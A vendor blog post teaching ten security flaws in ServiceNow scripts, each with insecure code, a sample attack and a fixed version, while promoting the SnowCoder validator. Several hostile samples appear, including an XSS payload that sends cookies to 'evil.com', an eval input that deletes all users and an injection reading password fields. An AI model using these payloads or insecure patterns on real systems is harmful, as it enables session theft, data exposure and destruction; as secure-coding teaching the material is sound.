10 Common Security Vulnerabilities in ServiceNow Scripts (And How to Fix Them)
Identify and fix critical security flaws before they reach production.
The Hidden Risk in Your ServiceNow Instance
Every ServiceNow developer writes scripts, including Business Rules, Client Scripts, Script Includes, and more. But a single security flaw can expose sensitive data, bypass authorization controls, or give attackers a foothold in your environment.
The challenge? Security vulnerabilities in ServiceNow scripts often look like normal code. They work perfectly in testing but create critical exposures in production.
This guide covers the 10 most dangerous vulnerabilities we see in ServiceNow scripts, with real examples of insecure code and how to fix each one. We'll also show how SnowCoder's security validation catches these issues before they reach production.
How SnowCoder Catches Security Issues
Before diving into the vulnerabilities, it's worth understanding how SnowCoder protects your code.
Every script generated or analyzed by SnowCoder passes through a 4-stage validation pipeline:
| Stage | Focus | Weight |
|---|---|---|
| Syntax | JavaScript parsing and structure | 15% |
| ServiceNow | Platform-specific best practices | 25% |
| Security | Vulnerability detection | 35% |
| Performance | Query optimization, efficiency | 25% |
Security carries the highest weight because a fast, functional script with a security flaw is worse than no script at all.
1. Query Injection via String Concatenation
The Vulnerability
Concatenating user input into GlideRecord queries allows attackers to manipulate query logic.
Insecure Code:
var gr = new GlideRecord('incident');
var userInput = this.getParameter('sysparm_query');
gr.addEncodedQuery('category=' + userInput); // DANGER
gr.query();The Attack:
An attacker submits: hardware^ORDERBYDESCsys_created_on^priority=1
Instead of filtering by category, the query now returns high-priority incidents sorted by creation date, data the user shouldn't see.
SEC004: Potential injection vulnerability in GlideRecord query
Severity: Error | Line: 3
Suggestion: Use addQuery() with separate parameters
The Fix:
var gr = new GlideRecord('incident');
var userInput = this.getParameter('sysparm_query');
// Validate input against allowed values
var allowedCategories = ['hardware', 'software', 'network'];
if (allowedCategories.indexOf(userInput) === -1) {
return 'Invalid category';
}
// Use parameterized query - no concatenation
gr.addQuery('category', userInput);
gr.query();To be precise, this is GlideRecord encoded-query injection rather than SQL injection: the attacker manipulates query logic, not raw SQL. If you genuinely need to accept user-supplied query conditions, the Zurich release added addUserQuery(), which enforces query ACL checks on the supplied query string, so users can't query their way to data their access doesn't cover.
2. Cross-Site Scripting (XSS) via innerHTML
The Vulnerability
Assigning user input directly to innerHTML allows script injection.
Insecure Code:
// Client Script
var comments = g_form.getValue('comments');
document.getElementById('preview').innerHTML = comments; // DANGERThe Attack:
A user enters: <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
When the page renders, the attacker's script runs and steals the user's session cookie.
SEC007: Direct innerHTML assignment - potential XSS vulnerability
Severity: Warning | Line: 3
Suggestion: Use textContent or createElement() methods
The Fix:
// Client Script: use textContent (no HTML parsing)
var comments = g_form.getValue('comments');
document.getElementById('preview').textContent = comments;If you genuinely need to render HTML, escape it on the server before it reaches the client. GlideStringUtil is a server-side API, called statically, so it belongs in a Script Include or Business Rule, not in a Client Script:
// Script Include (server side): escape before returning to the client var sanitized = GlideStringUtil.escapeHTML(comments); return sanitized;
3. Missing ACL Checks Before Record Modifications
The Vulnerability
Modifying records without checking canWrite() bypasses ServiceNow's access control.
Insecure Code:
var gr = new GlideRecord('incident');
gr.addQuery('state', 1);
gr.query();
while (gr.next()) {
gr.priority = 1;
gr.update(); // No permission check!
}The Problem: This script runs with elevated privileges, updating incidents even for users who shouldn't have write access to those records.
SEC013: update() called without ACL check
Severity: Warning
Suggestion: Add if (gr.canWrite()) check before update()
The Fix:
// Option 1: Check ACLs explicitly
var gr = new GlideRecord('incident');
gr.addQuery('state', 1);
gr.query();
while (gr.next()) {
// Record-level check, plus the field you are changing
if (!gr.canWrite() || !gr.priority.canWrite()) {
gs.warn('User lacks write access to: ' + gr.number);
continue;
}
gr.priority = 1;
gr.update();
}
// Option 2: Let the platform enforce ACLs
var grs = new GlideRecordSecure('incident');
grs.addQuery('state', 1);
grs.query();
while (grs.next()) {
grs.priority = 1;
grs.update(); // standard read/write ACLs enforced automatically
}Remember that ACLs exist at both record and field level. A record-level canWrite() alone doesn't guarantee write access to every field, so check the specific fields you modify, or use GlideRecordSecure, which enforces standard read and write ACLs for you wherever enforcement matters.
4. Hardcoded Credentials
The Vulnerability
Storing API keys, passwords, or tokens directly in scripts.
Insecure Code:
var apiKey = 'sk-live-abc123xyz789'; // DANGER
var password = 'ServiceNow2024!'; // DANGER
var request = new sn_ws.RESTMessageV2();
request.setRequestHeader('Authorization', 'Bearer ' + apiKey);
request.setBasicAuth('admin', password);The Problem:
- Anyone with script access sees credentials
- Credentials leak through version control, backups, and logs
- You can't rotate credentials without modifying code
SEC009: Potential hardcoded credentials detected
Severity: Error | Line: 1
Suggestion: Use Credential records, Connection & Credential Aliases, or tightly restricted encrypted properties
The Fix:
// Prefer Connection & Credential Aliases
var request = new sn_ws.RESTMessageV2('ExternalAPI', 'POST');
// Credentials automatically applied from the Credential record
request.execute();5. Client-Side GlideRecord Instead of GlideAjax
The Vulnerability
Querying the database directly from Client Scripts with client-side GlideRecord instead of going through a server-side Script Include.
Insecure Code:
// Client Script - AVOID THIS PATTERN
function validateAssignment() {
var assignee = g_form.getValue('assigned_to'); // Client API
var gr = new GlideRecord('sys_user'); // Client-side GlideRecord
gr.get(assignee);
if (!gr.active) {
g_form.addErrorMessage('User is inactive');
}
}The Problem:
- Client-side GlideRecord exists, but it is a limited API that ServiceNow's own best practices tell you to avoid
- It is not supported in scoped applications, so the same script breaks the moment it moves into a scoped app
- Each query is an extra round trip from the browser to the server, which hurts form performance
- It applies ACLs as the logged-in user, so results silently vary between users and the "validation" you wrote may never fire
SEC015: Client-side API (g_form) and server-side API (GlideRecord) mixed
Severity: Error
Suggestion: Use GlideAjax to call server-side Script Include from client scripts
The Fix:
// Client Script
function validateAssignment() {
var assignee = g_form.getValue('assigned_to');
var ga = new GlideAjax('UserValidation');
ga.addParam('sysparm_name', 'isUserActive');
ga.addParam('sysparm_user_id', assignee);
ga.getXMLAnswer(function(response) {
var result = JSON.parse(response);
if (!result.active) {
g_form.addErrorMessage('User is inactive');
}
});
}
// Script Include (runs on server)
var UserValidation = Class.create();
UserValidation.prototype = Object.extendsObject(AbstractAjaxProcessor, {
isUserActive: function() {
var userId = this.getParameter('sysparm_user_id');
// Validate sys_id format
if (!/^[a-f0-9]{32}$/i.test(userId)) {
return JSON.stringify({error: 'Invalid user ID'});
}
var gr = new GlideRecord('sys_user');
if (gr.get(userId)) {
return JSON.stringify({active: gr.active.toString() === 'true'});
}
return JSON.stringify({active: false});
},
type: 'UserValidation'
});6. Unvalidated User Input
The Vulnerability
Using input from URL parameters, form fields, or AJAX calls without validation.
Insecure Code:
var tableName = this.getParameter('sysparm_table');
var fieldName = this.getParameter('sysparm_field');
var gr = new GlideRecord(tableName); // User controls the table!
gr.query();
while (gr.next()) {
gs.print(gr.getValue(fieldName)); // User controls the field!
}The Attack:
An attacker submits sysparm_table=sys_user&sysparm_field=user_password
The script now returns sensitive fields for every matching user record, with the exact exposure depending on field ACLs, execution context, and instance customization.
The Fix:
var tableName = this.getParameter('sysparm_table');
var fieldName = this.getParameter('sysparm_field');
// Whitelist allowed tables
var allowedTables = ['incident', 'change_request', 'problem'];
if (allowedTables.indexOf(tableName) === -1) {
return 'Invalid table';
}
// Whitelist allowed fields per table
var allowedFields = {
'incident': ['number', 'short_description', 'state'],
'change_request': ['number', 'short_description', 'state'],
'problem': ['number', 'short_description', 'state']
};
if (allowedFields[tableName].indexOf(fieldName) === -1) {
return 'Invalid field';
}
var gr = new GlideRecord(tableName);
gr.setLimit(100); // Prevent full table dumps
gr.query();
while (gr.next()) {
if (gr.canRead()) { // Check ACL
gs.print(gr.getValue(fieldName));
}
}7. Bypassing Workflows with setWorkflow(false)
The Vulnerability
setWorkflow(false) disables business rules, script engines, or audit for the record operation. Used casually, it can bypass approval-related logic and leave audit gaps.
Insecure Code:
var gr = new GlideRecord('change_request');
gr.get(changeId);
gr.state = 3; // Closed
gr.setWorkflow(false); // Skips approval workflow!
gr.update();The Problem:
- Change approvals are bypassed
- Audit trails become incomplete
- Compliance requirements are violated
The Fix:
var gr = new GlideRecord('change_request');
gr.get(changeId);
// Check that change has proper approvals
if (!hasRequiredApprovals(changeId)) {
gs.error('Cannot close change without approvals');
return;
}
// Let workflows run normally
gr.state = 3;
gr.update(); // Business Rules execute, audit trail preserved
function hasRequiredApprovals(changeId) {
var approval = new GlideRecord('sysapproval_approver');
approval.addQuery('sysapproval', changeId);
approval.addQuery('state', 'approved');
approval.query();
return approval.getRowCount() >= 1;
}8. Invalid sys_id Format
The Vulnerability
Accepting user-supplied sys_ids without validating their format.
Insecure Code:
var recordId = this.getParameter('sysparm_record_id');
var gr = new GlideRecord('incident');
gr.get(recordId); // No format validation
return gr.getValue('short_description');The Attack: Malformed identifiers can cause unexpected behavior and noisy errors. Validate identifiers before lookup so the script has a narrow, predictable input surface.
The Fix:
var recordId = this.getParameter('sysparm_record_id');
// Validate sys_id format: 32 hexadecimal characters
if (!/^[a-f0-9]{32}$/i.test(recordId)) {
return JSON.stringify({error: 'Invalid record ID format'});
}
var gr = new GlideRecord('incident');
if (gr.get(recordId) && gr.canRead()) {
return JSON.stringify({
description: gr.short_description.toString()
});
}
return JSON.stringify({error: 'Record not found'});9. Exposing Sensitive Data in Responses
The Vulnerability
Returning entire records or sensitive fields in API responses.
Insecure Code:
var userId = this.getParameter('sysparm_user');
var gr = new GlideRecord('sys_user');
if (gr.get(userId)) {
return JSON.stringify(gr); // Serializes the whole record object
}The Problem: Serializing a record wholesale means you no longer control what leaves the server. On sys_user that can include sensitive fields like the password hash, phone numbers, and home address, plus whatever HR or custom fields your instance has added over the years. Exactly what gets exposed depends on your instance and how the object serializes, and that's the point: you shouldn't have to guess. Return an explicit whitelist of fields instead.
The Fix:
var userId = this.getParameter('sysparm_user');
// Validate format
if (!/^[a-f0-9]{32}$/i.test(userId)) {
return JSON.stringify({error: 'Invalid user ID'});
}
var gr = new GlideRecord('sys_user');
if (gr.get(userId) && gr.canRead()) {
// Whitelist only safe, necessary fields
return JSON.stringify({
name: gr.name.toString(),
email: gr.email.toString(),
department: gr.department.getDisplayValue(),
title: gr.title.toString()
// Never include sensitive fields like user_password
});
}
return JSON.stringify({error: 'User not found'});10. Dangerous Code Execution (eval, Function Constructor)
The Vulnerability
Using eval() or new Function() with user-controlled input.
Insecure Code:
var formula = this.getParameter('sysparm_formula');
var result = eval(formula); // CRITICAL DANGER
return result.toString();The Attack:
Attacker submits: gs.include('Sys_scripts'); new GlideRecord('sys_user').deleteMultiple();
This could delete all users from the system.
SEC001: Use of eval() detected - potential code injection vulnerability
Severity: Error
Suggestion: Avoid eval() entirely; use safer alternatives
The Fix:
var operation = this.getParameter('sysparm_operation');
var value1 = parseFloat(this.getParameter('sysparm_value1'));
var value2 = parseFloat(this.getParameter('sysparm_value2'));
// Validate inputs are numbers
if (isNaN(value1) || isNaN(value2)) {
return JSON.stringify({error: 'Invalid numeric values'});
}
// Whitelist allowed operations
var result;
switch (operation) {
case 'add':
result = value1 + value2;
break;
case 'subtract':
result = value1 - value2;
break;
case 'multiply':
result = value1 * value2;
break;
case 'divide':
if (value2 === 0) return JSON.stringify({error: 'Division by zero'});
result = value1 / value2;
break;
default:
return JSON.stringify({error: 'Invalid operation'});
}
return JSON.stringify({result: result});A Complete Secure Script Example
Here's a Script Include that passes all of SnowCoder's security checks:
var SecureIncidentAPI = Class.create();
SecureIncidentAPI.prototype = Object.extendsObject(AbstractAjaxProcessor, {
getIncident: function() {
// 1. Validate input format
var incidentId = this.getParameter('sysparm_incident_id');
if (!this._isValidSysId(incidentId)) {
return this._error('Invalid incident ID format');
}
// 2. Check authorization
if (!gs.hasRole('itil') && !gs.hasRole('admin')) {
gs.warn('Unauthorized getIncident attempt by: ' + gs.getUserName());
return this._error('Unauthorized');
}
// 3. Query safely (no string concatenation)
var gr = new GlideRecord('incident');
if (!gr.get(incidentId)) {
return this._error('Incident not found');
}
// 4. Check ACL
if (!gr.canRead()) {
return this._error('Access denied');
}
// 5. Return only whitelisted fields
return this._success({
number: gr.number.toString(),
short_description: gr.short_description.toString(),
state: gr.state.getDisplayValue(),
priority: gr.priority.getDisplayValue(),
assigned_to: gr.assigned_to.getDisplayValue()
});
},
// Helper: Validate sys_id format
_isValidSysId: function(id) {
return id && /^[a-f0-9]{32}$/i.test(id);
},
// Helper: Success response
_success: function(data) {
return JSON.stringify({status: 'success', data: data});
},
// Helper: Error response
_error: function(message) {
return JSON.stringify({status: 'error', message: message});
},
type: 'SecureIncidentAPI'
});SnowCoder Validation Result: Security Score 95/100
- ✓ Input validation present
- ✓ ACL checks implemented
- ✓ No query injection vulnerabilities
- ✓ No XSS vulnerabilities
- ✓ No hardcoded credentials
- ✓ Proper error handling
- ✓ Data minimization (whitelist fields)
Quick Reference: Security Checklist
| Vulnerability | Detection | Prevention |
|---|---|---|
| Query Injection | SEC003, SEC004, SEC005 | Use parameterized addQuery() |
| XSS | SEC006, SEC007 | Use textContent, escape HTML |
| Missing ACL | SEC010, SEC013 | canRead()/canWrite() or GlideRecordSecure |
| Hardcoded Creds | SEC009 | Use System Properties |
| Client-side GlideRecord | SEC015 | Use GlideAjax |
| Unvalidated Input | SEC011, SEC016 | Whitelist validation |
| setWorkflow(false) | SEC014 | Avoid or document carefully |
| Invalid sys_id | Pattern check | Regex: ^[a-f0-9]{32}$ |
| Data Exposure | Knowledge base | Whitelist response fields |
| eval() / Function | SEC001, SEC002 | Never use with user input |
Let SnowCoder Secure Your Code
Writing secure ServiceNow code is challenging. There are dozens of patterns to remember, edge cases to consider, and mistakes that are easy to make.
SnowCoder's security validation catches these vulnerabilities automatically:
- During generation: Security checks run on every script SnowCoder creates
- During review: Paste existing code to identify vulnerabilities
- With explanations: Each warning includes context and a fix
Security isn't an afterthought in SnowCoder. It's weighted at 35% of the validation score, the highest of any category.
Related Posts
Best Practices for ServiceNow Instance Audits
How to prepare for and conduct comprehensive instance audits that uncover hidden issues.
Advanced TutorialAdvanced AI-Powered ServiceNow Development: Mastering SnowCoder
Master advanced prompting techniques, working sets, Guru Mode strategies, and power user workflows.
SecurityServiceNow ACL Examples and Patterns
Worked ACL examples for table, field, and row-level access control - including the patterns that prevent the vulnerabilities above.
Ready to write more secure ServiceNow code?
Let SnowCoder's security validation catch vulnerabilities before they reach production.
Try Now for FreeNo credit card required.
Found a security pattern we missed? We're always improving our validation rules. Reach out to our team with suggestions.